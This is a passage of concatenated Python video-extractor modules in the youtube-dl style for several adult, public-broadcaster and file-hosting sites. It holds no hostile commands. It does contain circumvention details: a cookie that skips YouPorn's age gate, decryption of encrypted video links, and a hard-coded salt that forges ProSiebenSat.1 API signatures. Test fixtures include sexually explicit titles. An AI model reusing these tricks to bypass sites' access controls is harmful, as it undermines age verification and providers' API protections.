                    'Cookie': 'popunder=4',
                    'X-Requested-With': 'XMLHttpRequest',
                    'Referer': url,
                })

            page = self._download_json(
                request, user_id, 'Downloading videos JSON page %d' % pagenum)

            html = page.get('html')
            if not html:
                break

            for video_id in orderedSet([video_id for _, video_id in re.findall(
                    r'data-plid=(["\'])(.+?)\1', html)]):
                entries.append(self.url_result('xtube:%s' % video_id, XTubeIE.ie_key()))

            page_count = int_or_none(page.get('pageCount'))
            if not page_count or pagenum == page_count:
                break

        playlist = self.playlist_result(entries, user_id)
        playlist['age_limit'] = 18
        return playlist






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class XBefIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?xbef\.com/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://xbef.com/video/5119-glamourous-lesbians-smoking-drinking-and-fucking',
        'md5': 'a478b565baff61634a98f5e5338be995',
        'info_dict': {
            'id': '5119',
            'ext': 'mp4',
            'title': 'md5:7358a9faef8b7b57acda7c04816f170e',
            'age_limit': 18,
            'thumbnail': 're:^http://.*\.jpg',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<h1[^>]*>(.*?)</h1>', webpage, 'title')

        config_url_enc = self._download_webpage(
            'http://xbef.com/Main/GetVideoURLEncoded/%s' % video_id, video_id,
            note='Retrieving config URL')
        config_url = compat_urllib_parse_unquote(config_url_enc)
        config = self._download_xml(
            config_url, video_id, note='Retrieving config')

        video_url = config.find('./file').text
        thumbnail = config.find('./image').text

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'age_limit': 18,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    sanitized_Request,
    str_to_int,
    unescapeHTML,
    unified_strdate,
)
from ..aes import aes_decrypt_text


class YouPornIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?youporn\.com/watch/(?P<id>\d+)/(?P<display_id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.youporn.com/watch/505835/sex-ed-is-it-safe-to-masturbate-daily/',
        'md5': '3744d24c50438cf5b6f6d59feb5055c2',
        'info_dict': {
            'id': '505835',
            'display_id': 'sex-ed-is-it-safe-to-masturbate-daily',
            'ext': 'mp4',
            'title': 'Sex Ed: Is It Safe To Masturbate Daily?',
            'description': 'Love & Sex Answers: http://bit.ly/DanAndJenn -- Is It Unhealthy To Masturbate Daily?',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Ask Dan And Jennifer',
            'upload_date': '20101221',
            'average_rating': int,
            'view_count': int,
            'comment_count': int,
            'categories': list,
            'tags': list,
            'age_limit': 18,
        },
    }, {
        # Anonymous User uploader
        'url': 'http://www.youporn.com/watch/561726/big-tits-awesome-brunette-on-amazing-webcam-show/?from=related3&al=2&from_id=561726&pos=4',
        'info_dict': {
            'id': '561726',
            'display_id': 'big-tits-awesome-brunette-on-amazing-webcam-show',
            'ext': 'mp4',
            'title': 'Big Tits Awesome Brunette On amazing webcam show',
            'description': 'http://sweetlivegirls.com Big Tits Awesome Brunette On amazing webcam show.mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Anonymous User',
            'upload_date': '20111125',
            'average_rating': int,
            'view_count': int,
            'comment_count': int,
            'categories': list,
            'tags': list,
            'age_limit': 18,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        request = sanitized_Request(url)
        request.add_header('Cookie', 'age_verified=1')
        webpage = self._download_webpage(request, display_id)

        title = self._search_regex(
            [r'(?:video_titles|videoTitle)\s*[:=]\s*(["\'])(?P<title>.+?)\1',
             r'<h1[^>]+class=["\']heading\d?["\'][^>]*>([^<])<'],
            webpage, 'title', group='title')

        links = []

        sources = self._search_regex(
            r'(?s)sources\s*:\s*({.+?})', webpage, 'sources', default=None)
        if sources:
            for _, link in re.findall(r'[^:]+\s*:\s*(["\'])(http.+?)\1', sources):
                links.append(link)

        # Fallback #1
        for _, link in re.findall(
                r'(?:videoUrl|videoSrc|videoIpadUrl|html5PlayerSrc)\s*[:=]\s*(["\'])(http.+?)\1', webpage):
            links.append(link)

        # Fallback #2, this also contains extra low quality 180p format
        for _, link in re.findall(r'<a[^>]+href=(["\'])(http.+?)\1[^>]+title=["\']Download [Vv]ideo', webpage):
            links.append(link)

        # Fallback #3, encrypted links
        for _, encrypted_link in re.findall(
                r'encryptedQuality\d{3,4}URL\s*=\s*(["\'])([\da-zA-Z+/=]+)\1', webpage):
            links.append(aes_decrypt_text(encrypted_link, title, 32).decode('utf-8'))

        formats = []
        for video_url in set(unescapeHTML(link) for link in links):
            f = {
                'url': video_url,
            }
            # Video URL's path looks like this:
            #  /201012/17/505835/720p_1500k_505835/YouPorn%20-%20Sex%20Ed%20Is%20It%20Safe%20To%20Masturbate%20Daily.mp4
            #  /201012/17/505835/vl_240p_240k_505835/YouPorn%20-%20Sex%20Ed%20Is%20It%20Safe%20To%20Masturbate%20Daily.mp4
            # We will benefit from it by extracting some metadata
            mobj = re.search(r'(?P<height>\d{3,4})[pP]_(?P<bitrate>\d+)[kK]_\d+/', video_url)
            if mobj:
                height = int(mobj.group('height'))
                bitrate = int(mobj.group('bitrate'))
                f.update({
                    'format_id': '%dp-%dk' % (height, bitrate),
                    'height': height,
                    'tbr': bitrate,
                })
            formats.append(f)
        self._sort_formats(formats)

        description = self._og_search_description(webpage, default=None)
        thumbnail = self._search_regex(
            r'(?:imageurl\s*=|poster\s*:)\s*(["\'])(?P<thumbnail>.+?)\1',
            webpage, 'thumbnail', fatal=False, group='thumbnail')

        uploader = self._html_search_regex(
            r'(?s)<div[^>]+class=["\']submitByLink["\'][^>]*>(.+?)</div>',
            webpage, 'uploader', fatal=False)
        upload_date = unified_strdate(self._html_search_regex(
            r'(?s)<div[^>]+class=["\']videoInfo(?:Date|Time)["\'][^>]*>(.+?)</div>',
            webpage, 'upload date', fatal=False))

        age_limit = self._rta_search(webpage)

        average_rating = int_or_none(self._search_regex(
            r'<div[^>]+class=["\']videoRatingPercentage["\'][^>]*>(\d+)%</div>',
            webpage, 'average rating', fatal=False))

        view_count = str_to_int(self._search_regex(
            r'(?s)<div[^>]+class=(["\']).*?\bvideoInfoViews\b.*?\1[^>]*>.*?(?P<count>[\d,.]+)<',
            webpage, 'view count', fatal=False, group='count'))
        comment_count = str_to_int(self._search_regex(
            r'>All [Cc]omments? \(([\d,.]+)\)',
            webpage, 'comment count', fatal=False))

        def extract_tag_box(title):
            tag_box = self._search_regex(
                (r'<div[^>]+class=["\']tagBoxTitle["\'][^>]*>\s*%s\b.*?</div>\s*'
                 '<div[^>]+class=["\']tagBoxContent["\']>(.+?)</div>') % re.escape(title),
                webpage, '%s tag box' % title, default=None)
            if not tag_box:
                return []
            return re.findall(r'<a[^>]+href=[^>]+>([^<]+)', tag_box)

        categories = extract_tag_box('Category')
        tags = extract_tag_box('Tags')

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'upload_date': upload_date,
            'average_rating': average_rating,
            'view_count': view_count,
            'comment_count': comment_count,
            'categories': categories,
            'tags': tags,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
)


class PrimeShareTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?primeshare\.tv/download/(?P<id>[\da-zA-Z]+)'

    _TEST = {
        'url': 'http://primeshare.tv/download/238790B611',
        'md5': 'b92d9bf5461137c36228009f31533fbc',
        'info_dict': {
            'id': '238790B611',
            'ext': 'mp4',
            'title': 'Public Domain - 1960s Commercial - Crest Toothpaste-YKsuFona',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        if '>File not exist<' in webpage:
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        fields = self._hidden_inputs(webpage)

        headers = {
            'Referer': url,
            'Content-Type': 'application/x-www-form-urlencoded',
        }

        wait_time = int(self._search_regex(
            r'var\s+cWaitTime\s*=\s*(\d+)',
            webpage, 'wait time', default=7)) + 1
        self._sleep(wait_time, video_id)

        req = sanitized_Request(
            url, urlencode_postdata(fields), headers)
        video_page = self._download_webpage(
            req, video_id, 'Downloading video page')

        video_url = self._search_regex(
            r"url\s*:\s*'([^']+\.primeshare\.tv(?::443)?/file/[^']+)'",
            video_page, 'video url')

        title = self._html_search_regex(
            r'<h1>Watch\s*(?:&nbsp;)?\s*\((.+?)(?:\s*\[\.\.\.\])?\)\s*(?:&nbsp;)?\s*<strong>',
            video_page, 'title')

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'ext': 'mp4',
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class URPlayIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?urplay\.se/program/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://urplay.se/program/190031-tripp-trapp-trad-sovkudde',
        'md5': '15ca67b63fd8fb320ac2bcd854bad7b6',
        'info_dict': {
            'id': '190031',
            'ext': 'mp4',
            'title': 'Tripp, Trapp, Träd : Sovkudde',
            'description': 'md5:b86bffdae04a7e9379d1d7e5947df1d1',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        urplayer_data = self._parse_json(self._search_regex(
            r'urPlayer\.init\(({.+?})\);', webpage, 'urplayer data'), video_id)
        host = self._download_json('http://streaming-loadbalancer.ur.se/loadbalancer.json', video_id)['redirect']

        formats = []
        for quality_attr, quality, preference in (('', 'sd', 0), ('_hd', 'hd', 1)):
            file_rtmp = urplayer_data.get('file_rtmp' + quality_attr)
            if file_rtmp:
                formats.append({
                    'url': 'rtmp://%s/urplay/mp4:%s' % (host, file_rtmp),
                    'format_id': quality + '-rtmp',
                    'ext': 'flv',
                    'preference': preference,
                })
            file_http = urplayer_data.get('file_http' + quality_attr) or urplayer_data.get('file_http_sub' + quality_attr)
            if file_http:
                file_http_base_url = 'http://%s/%s' % (host, file_http)
                formats.extend(self._extract_f4m_formats(
                    file_http_base_url + 'manifest.f4m', video_id,
                    preference, '%s-hds' % quality, fatal=False))
                formats.extend(self._extract_m3u8_formats(
                    file_http_base_url + 'playlist.m3u8', video_id, 'mp4',
                    'm3u8_native', preference, '%s-hls' % quality, fatal=False))
        self._sort_formats(formats)

        subtitles = {}
        for subtitle in urplayer_data.get('subtitles', []):
            subtitle_url = subtitle.get('file')
            kind = subtitle.get('kind')
            if subtitle_url or kind and kind != 'captions':
                continue
            subtitles.setdefault(subtitle.get('label', 'Svenska'), []).append({
                'url': subtitle_url,
            })

        return {
            'id': video_id,
            'title': urplayer_data['title'],
            'description': self._og_search_description(webpage),
            'thumbnail': urplayer_data.get('image'),
            'series': urplayer_data.get('series_title'),
            'subtitles': subtitles,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from hashlib import sha1
from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    determine_ext,
    float_or_none,
    int_or_none,
    unified_strdate,
)


class ProSiebenSat1IE(InfoExtractor):
    IE_NAME = 'prosiebensat1'
    IE_DESC = 'ProSiebenSat.1 Digital'
    _VALID_URL = r'https?://(?:www\.)?(?:(?:prosieben|prosiebenmaxx|sixx|sat1|kabeleins|the-voice-of-germany|7tv)\.(?:de|at|ch)|ran\.de|fem\.com)/(?P<id>.+)'

    _TESTS = [
        {
            # Tests changes introduced in https://github.com/rg3/youtube-dl/pull/6242
            # in response to fixing https://github.com/rg3/youtube-dl/issues/6215:
            # - malformed f4m manifest support
            # - proper handling of URLs starting with `https?://` in 2.0 manifests
            # - recursive child f4m manifests extraction
            'url': 'http://www.prosieben.de/tv/circus-halligalli/videos/218-staffel-2-episode-18-jahresrueckblick-ganze-folge',
            'info_dict': {
                'id': '2104602',
                'ext': 'flv',
                'title': 'Episode 18 - Staffel 2',
                'description': 'md5:8733c81b702ea472e069bc48bb658fc1',
                'upload_date': '20131231',
                'duration': 5845.04,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.prosieben.de/videokatalog/Gesellschaft/Leben/Trends/video-Lady-Umstyling-f%C3%BCr-Audrina-Rebekka-Audrina-Fergen-billig-aussehen-Battal-Modica-700544.html',
            'info_dict': {
                'id': '2570327',
                'ext': 'mp4',
                'title': 'Lady-Umstyling für Audrina',
                'description': 'md5:4c16d0c17a3461a0d43ea4084e96319d',
                'upload_date': '20131014',
                'duration': 606.76,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Seems to be broken',
        },
        {
            'url': 'http://www.prosiebenmaxx.de/tv/experience/video/144-countdown-fuer-die-autowerkstatt-ganze-folge',
            'info_dict': {
                'id': '2429369',
                'ext': 'mp4',
                'title': 'Countdown für die Autowerkstatt',
                'description': 'md5:809fc051a457b5d8666013bc40698817',
                'upload_date': '20140223',
                'duration': 2595.04,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'This video is unavailable',
        },
        {
            'url': 'http://www.sixx.de/stars-style/video/sexy-laufen-in-ugg-boots-clip',
            'info_dict': {
                'id': '2904997',
                'ext': 'mp4',
                'title': 'Sexy laufen in Ugg Boots',
                'description': 'md5:edf42b8bd5bc4e5da4db4222c5acb7d6',
                'upload_date': '20140122',
                'duration': 245.32,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'This video is unavailable',
        },
        {
            'url': 'http://www.sat1.de/film/der-ruecktritt/video/im-interview-kai-wiesinger-clip',
            'info_dict': {
                'id': '2906572',
                'ext': 'mp4',
                'title': 'Im Interview: Kai Wiesinger',
                'description': 'md5:e4e5370652ec63b95023e914190b4eb9',
                'upload_date': '20140203',
                'duration': 522.56,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'This video is unavailable',
        },
        {
            'url': 'http://www.kabeleins.de/tv/rosins-restaurants/videos/jagd-auf-fertigkost-im-elsthal-teil-2-ganze-folge',
            'info_dict': {
                'id': '2992323',
                'ext': 'mp4',
                'title': 'Jagd auf Fertigkost im Elsthal - Teil 2',
                'description': 'md5:2669cde3febe9bce13904f701e774eb6',
                'upload_date': '20141014',
                'duration': 2410.44,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'This video is unavailable',
        },
        {
            'url': 'http://www.ran.de/fussball/bundesliga/video/schalke-toennies-moechte-raul-zurueck-ganze-folge',
            'info_dict': {
                'id': '3004256',
                'ext': 'mp4',
                'title': 'Schalke: Tönnies möchte Raul zurück',
                'description': 'md5:4b5b271d9bcde223b54390754c8ece3f',
                'upload_date': '20140226',
                'duration': 228.96,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'This video is unavailable',
        },
        {
            'url': 'http://www.the-voice-of-germany.de/video/31-andreas-kuemmert-rocket-man-clip',
            'info_dict': {
                'id': '2572814',
                'ext': 'flv',
                'title': 'Andreas Kümmert: Rocket Man',
                'description': 'md5:6ddb02b0781c6adf778afea606652e38',
                'upload_date': '20131017',
                'duration': 469.88,
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.fem.com/wellness/videos/wellness-video-clip-kurztripps-zum-valentinstag.html',
            'info_dict': {
                'id': '2156342',
                'ext': 'flv',
                'title': 'Kurztrips zum Valentinstag',
                'description': 'Romantischer Kurztrip zum Valentinstag? Nina Heinemann verrät, was sich hier wirklich lohnt.',
                'duration': 307.24,
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.prosieben.de/tv/joko-gegen-klaas/videos/playlists/episode-8-ganze-folge-playlist',
            'info_dict': {
                'id': '439664',
                'title': 'Episode 8 - Ganze Folge - Playlist',
                'description': 'md5:63b8963e71f481782aeea877658dec84',
            },
            'playlist_count': 2,
        },
        {
            'url': 'http://www.7tv.de/circus-halligalli/615-best-of-circus-halligalli-ganze-folge',
            'info_dict': {
                'id': '4187506',
                'ext': 'flv',
                'title': 'Best of Circus HalliGalli',
                'description': 'md5:8849752efd90b9772c9db6fdf87fb9e9',
                'upload_date': '20151229',
            },
            'params': {
                'skip_download': True,
            },
        },
    ]

    _CLIPID_REGEXES = [
        r'"clip_id"\s*:\s+"(\d+)"',
        r'clipid: "(\d+)"',
        r'clip[iI]d=(\d+)',
        r'clip[iI]d\s*=\s*["\'](\d+)',
        r"'itemImageUrl'\s*:\s*'/dynamic/thumbnails/full/\d+/(\d+)",
    ]
    _TITLE_REGEXES = [
        r'<h2 class="subtitle" itemprop="name">\s*(.+?)</h2>',
        r'<header class="clearfix">\s*<h3>(.+?)</h3>',
        r'<!-- start video -->\s*<h1>(.+?)</h1>',
        r'<h1 class="att-name">\s*(.+?)</h1>',
        r'<header class="module_header">\s*<h2>([^<]+)</h2>\s*</header>',
        r'<h2 class="video-title" itemprop="name">\s*(.+?)</h2>',
        r'<div[^>]+id="veeseoTitle"[^>]*>(.+?)</div>',
    ]
    _DESCRIPTION_REGEXES = [
        r'<p itemprop="description">\s*(.+?)</p>',
        r'<div class="videoDecription">\s*<p><strong>Beschreibung</strong>: (.+?)</p>',
        r'<div class="g-plusone" data-size="medium"></div>\s*</div>\s*</header>\s*(.+?)\s*<footer>',
        r'<p class="att-description">\s*(.+?)\s*</p>',
        r'<p class="video-description" itemprop="description">\s*(.+?)</p>',
        r'<div[^>]+id="veeseoDescription"[^>]*>(.+?)</div>',
    ]
    _UPLOAD_DATE_REGEXES = [
        r'<meta property="og:published_time" content="(.+?)">',
        r'<span>\s*(\d{2}\.\d{2}\.\d{4} \d{2}:\d{2}) \|\s*<span itemprop="duration"',
        r'<footer>\s*(\d{2}\.\d{2}\.\d{4}) \d{2}:\d{2} Uhr',
        r'<span style="padding-left: 4px;line-height:20px; color:#404040">(\d{2}\.\d{2}\.\d{4})</span>',
        r'(\d{2}\.\d{2}\.\d{4}) \| \d{2}:\d{2} Min<br/>',
    ]
    _PAGE_TYPE_REGEXES = [
        r'<meta name="page_type" content="([^"]+)">',
        r"'itemType'\s*:\s*'([^']*)'",
    ]
    _PLAYLIST_ID_REGEXES = [
        r'content[iI]d=(\d+)',
        r"'itemId'\s*:\s*'([^']*)'",
    ]
    _PLAYLIST_CLIP_REGEXES = [
        r'(?s)data-qvt=.+?<a href="([^"]+)"',
    ]

    def _extract_clip(self, url, webpage):
        clip_id = self._html_search_regex(
            self._CLIPID_REGEXES, webpage, 'clip id')

        access_token = 'prosieben'
        client_name = 'kolibri-2.0.19-splec4'
        client_location = url

        video = self._download_json(
            'http://vas.sim-technik.de/vas/live/v2/videos',
            clip_id, 'Downloading videos JSON', query={
                'access_token': access_token,
                'client_location': client_location,
                'client_name': client_name,
                'ids': clip_id,
            })[0]

        if video.get('is_protected') is True:
            raise ExtractorError('This video is DRM protected.', expected=True)

        duration = float_or_none(video.get('duration'))
        source_ids = [compat_str(source['id']) for source in video['sources']]

        g = '01!8d8F_)r9]4s[qeuXfP%'
        client_id = g[:2] + sha1(''.join([clip_id, g, access_token, client_location, g, client_name]).encode('utf-8')).hexdigest()

        sources = self._download_json(
            'http://vas.sim-technik.de/vas/live/v2/videos/%s/sources' % clip_id,
            clip_id, 'Downloading sources JSON', query={
                'access_token': access_token,
                'client_id': client_id,
                'client_location': client_location,
                'client_name': client_name,
            })
        server_id = sources['server_id']

        title = self._html_search_regex(self._TITLE_REGEXES, webpage, 'title')

        def fix_bitrate(bitrate):
            bitrate = int_or_none(bitrate)
            if not bitrate:
                return None
            return (bitrate // 1000) if bitrate % 1000 == 0 else bitrate

        formats = []
        for source_id in source_ids:
            client_id = g[:2] + sha1(''.join([g, clip_id, access_token, server_id, client_location, source_id, g, client_name]).encode('utf-8')).hexdigest()
            urls = self._download_json(
                'http://vas.sim-technik.de/vas/live/v2/videos/%s/sources/url' % clip_id,
                clip_id, 'Downloading urls JSON', fatal=False, query={
                    'access_token': access_token,
                    'client_id': client_id,
                    'client_location': client_location,
                    'client_name': client_name,
                    'server_id': server_id,
                    'source_ids': source_id,
                })
            if not urls:
                continue
            if urls.get('status_code') != 0:
                raise ExtractorError('This video is unavailable', expected=True)
            urls_sources = urls['sources']
            if isinstance(urls_sources, dict):
                urls_sources = urls_sources.values()
            for source in urls_sources:
                source_url = source.get('url')
                if not source_url:
                    continue
                protocol = source.get('protocol')
                mimetype = source.get('mimetype')
                if mimetype == 'application/f4m+xml' or 'f4mgenerator' in source_url or determine_ext(source_url) == 'f4m':
                    formats.extend(self._extract_f4m_formats(
                        source_url, clip_id, f4m_id='hds', fatal=False))
                elif mimetype == 'application/x-mpegURL':
                    formats.extend(self._extract_m3u8_formats(
                        source_url, clip_id, 'mp4', 'm3u8_native',
                        m3u8_id='hls', fatal=False))
                else:
                    tbr = fix_bitrate(source['bitrate'])
                    if protocol in ('rtmp', 'rtmpe'):
                        mobj = re.search(r'^(?P<url>rtmpe?://[^/]+)/(?P<path>.+)$', source_url)
                        if not mobj:
                            continue
                        path = mobj.group('path')
                        mp4colon_index = path.rfind('mp4:')
                        app = path[:mp4colon_index]
                        play_path = path[mp4colon_index:]
                        formats.append({
                            'url': '%s/%s' % (mobj.group('url'), app),
                            'app': app,
                            'play_path': play_path,
                            'player_url': 'http://livepassdl.conviva.com/hf/ver/2.79.0.17083/LivePassModuleMain.swf',
                            'page_url': 'http://www.prosieben.de',
                            'tbr': tbr,
                            'ext': 'flv',
                            'format_id': 'rtmp%s' % ('-%d' % tbr if tbr else ''),
                        })
                    else:
                        formats.append({
                            'url': source_url,
                            'tbr': tbr,
                            'format_id': 'http%s' % ('-%d' % tbr if tbr else ''),
                        })
        self._sort_formats(formats)

        description = self._html_search_regex(
            self._DESCRIPTION_REGEXES, webpage, 'description', fatal=False)
        thumbnail = self._og_search_thumbnail(webpage)
        upload_date = unified_strdate(self._html_search_regex(
            self._UPLOAD_DATE_REGEXES, webpage, 'upload date', default=None))

        return {
            'id': clip_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'duration': duration,
            'formats': formats,
        }

    def _extract_playlist(self, url, webpage):
        playlist_id = self._html_search_regex(
            self._PLAYLIST_ID_REGEXES, webpage, 'playlist id')
        for regex in self._PLAYLIST_CLIP_REGEXES:
            playlist_clips = re.findall(regex, webpage)
            if playlist_clips:
                title = self._html_search_regex(
                    self._TITLE_REGEXES, webpage, 'title')
                description = self._html_search_regex(
                    self._DESCRIPTION_REGEXES, webpage, 'description', fatal=False)
                entries = [
                    self.url_result(
                        re.match('(.+?//.+?)/', url).group(1) + clip_path,
                        'ProSiebenSat1')
                    for clip_path in playlist_clips]
                return self.playlist_result(entries, playlist_id, title, description)

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        page_type = self._search_regex(
            self._PAGE_TYPE_REGEXES, webpage,
            'page type', default='clip').lower()
        if page_type == 'clip':
            return self._extract_clip(url, webpage)
        elif page_type == 'playlist':
            return self._extract_playlist(url, webpage)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urllib_parse_unquote,
)
from ..utils import (
    int_or_none,
    strip_or_none,
    unified_timestamp,
)


class PolskieRadioIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?polskieradio\.pl/\d+/\d+/Artykul/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.polskieradio.pl/7/5102/Artykul/1587943,Prof-Andrzej-Nowak-o-historii-nie-da-sie-myslec-beznamietnie',
        'info_dict': {
            'id': '1587943',
            'title': 'Prof. Andrzej Nowak: o historii nie da się myśleć beznamiętnie',
            'description': 'md5:12f954edbf3120c5e7075e17bf9fc5c5',
        },
        'playlist': [{
            'md5': '2984ee6ce9046d91fc233bc1a864a09a',
            'info_dict': {
                'id': '1540576',
                'ext': 'mp3',
                'title': 'md5:d4623290d4ac983bf924061c75c23a0d',
                'timestamp': 1456594200,
                'upload_date': '20160227',
                'duration': 2364,
                'thumbnail': 're:^https?://static\.prsa\.pl/images/.*\.jpg$'
            },
        }],
    }, {
        'url': 'http://www.polskieradio.pl/265/5217/Artykul/1635803,Euro-2016-nie-ma-miejsca-na-blad-Polacy-graja-ze-Szwajcaria-o-cwiercfinal',
        'info_dict': {
            'id': '1635803',
            'title': 'Euro 2016: nie ma miejsca na błąd. Polacy grają ze Szwajcarią o ćwierćfinał',
            'description': 'md5:01cb7d0cad58664095d72b51a1ebada2',
        },
        'playlist_mincount': 12,
    }, {
        'url': 'http://polskieradio.pl/9/305/Artykul/1632955,Bardzo-popularne-slowo-remis',
        'only_matching': True,
    }, {
        'url': 'http://www.polskieradio.pl/7/5102/Artykul/1587943',
        'only_matching': True,
    }, {
        # with mp4 video
        'url': 'http://www.polskieradio.pl/9/299/Artykul/1634903,Brexit-Leszek-Miller-swiat-sie-nie-zawali-Europa-bedzie-trwac-dalej',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        content = self._search_regex(
            r'(?s)<div[^>]+class="audio atarticle"[^>]*>(.+?)<script>',
            webpage, 'content')

        timestamp = unified_timestamp(self._html_search_regex(
            r'(?s)<span[^>]+id="datetime2"[^>]*>(.+?)</span>',
            webpage, 'timestamp', fatal=False))

        thumbnail_url = self._og_search_thumbnail(webpage)

        entries = []

        media_urls = set()

        for data_media in re.findall(r'<[^>]+data-media=({[^>]+})', content):
            media = self._parse_json(data_media, playlist_id, fatal=False)
            if not media.get('file') or not media.get('desc'):
                continue
            media_url = self._proto_relative_url(media['file'], 'http:')
            if media_url in media_urls:
                continue
            media_urls.add(media_url)
            entries.append({
                'id': compat_str(media['id']),
                'url': media_url,
                'title': compat_urllib_parse_unquote(media['desc']),
                'duration': int_or_none(media.get('length')),
                'vcodec': 'none' if media.get('provider') == 'audio' else None,
                'timestamp': timestamp,
                'thumbnail': thumbnail_url
            })

        title = self._og_search_title(webpage).strip()
        description = strip_or_none(self._og_search_description(webpage))

        return self.playlist_result(entries, playlist_id, title, description)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    js_to_json,
    parse_iso8601,
    parse_filesize,
)


class TagesschauPlayerIE(InfoExtractor):
    IE_NAME = 'tagesschau:player'
    _VALID_URL = r'https?://(?:www\.)?tagesschau\.de/multimedia/(?P<kind>audio|video)/(?P=kind)-(?P<id>\d+)~player(?:_[^/?#&]+)?\.html'

    _TESTS = [{
        'url': 'http://www.tagesschau.de/multimedia/video/video-179517~player.html',
        'md5': '8d09548d5c15debad38bee3a4d15ca21',
        'info_dict': {
            'id': '179517',
            'ext': 'mp4',
            'title': 'Marie Kristin Boese, ARD Berlin, über den zukünftigen Kurs der AfD',
            'thumbnail': 're:^https?:.*\.jpg$',
            'formats': 'mincount:6',
        },
    }, {
        'url': 'https://www.tagesschau.de/multimedia/audio/audio-29417~player.html',
        'md5': '76e6eec6ebd40740671cf0a2c88617e5',
        'info_dict': {
            'id': '29417',
            'ext': 'mp3',
            'title': 'Trabi - Bye, bye Rennpappe',
            'thumbnail': 're:^https?:.*\.jpg$',
            'formats': 'mincount:2',
        },
    }, {
        'url': 'http://www.tagesschau.de/multimedia/audio/audio-29417~player_autoplay-true.html',
        'only_matching': True,
    }]

    _FORMATS = {
        'xs': {'quality': 0},
        's': {'width': 320, 'height': 180, 'quality': 1},
        'm': {'width': 512, 'height': 288, 'quality': 2},
        'l': {'width': 960, 'height': 540, 'quality': 3},
        'xl': {'width': 1280, 'height': 720, 'quality': 4},
        'xxl': {'quality': 5},
    }

    def _extract_via_api(self, kind, video_id):
        info = self._download_json(
            'https://www.tagesschau.de/api/multimedia/{0}/{0}-{1}.json'.format(kind, video_id),
            video_id)
        title = info['headline']
        formats = []
        for media in info['mediadata']:
            for format_id, format_url in media.items():
                if determine_ext(format_url) == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        format_url, video_id, 'mp4',
                        entry_protocol='m3u8_native', m3u8_id='hls'))
                else:
                    formats.append({
                        'url': format_url,
                        'format_id': format_id,
                        'vcodec': 'none' if kind == 'audio' else None,
                    })
        self._sort_formats(formats)
        timestamp = parse_iso8601(info.get('date'))
        return {
            'id': video_id,
            'title': title,
            'timestamp': timestamp,
            'formats': formats,
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        # kind = mobj.group('kind').lower()
        # if kind == 'video':
        #     return self._extract_via_api(kind, video_id)

        # JSON api does not provide some audio formats (e.g. ogg) thus
        # extractiong audio via webpage

        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage).strip()
        formats = []

        for media_json in re.findall(r'({src\s*:\s*["\']http[^}]+type\s*:[^}]+})', webpage):
            media = self._parse_json(js_to_json(media_json), video_id, fatal=False)
            if not media:
                continue
            src = media.get('src')
            if not src:
                return
            quality = media.get('quality')
            kind = media.get('type', '').split('/')[0]
            ext = determine_ext(src)
            f = {
                'url': src,
                'format_id': '%s_%s' % (quality, ext) if quality else ext,
                'ext': ext,
                'vcodec': 'none' if kind == 'audio' else None,
            }
            f.update(self._FORMATS.get(quality, {}))
            formats.append(f)

        self._sort_formats(formats)

        thumbnail = self._og_search_thumbnail(webpage)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }


class TagesschauIE(InfoExtractor):
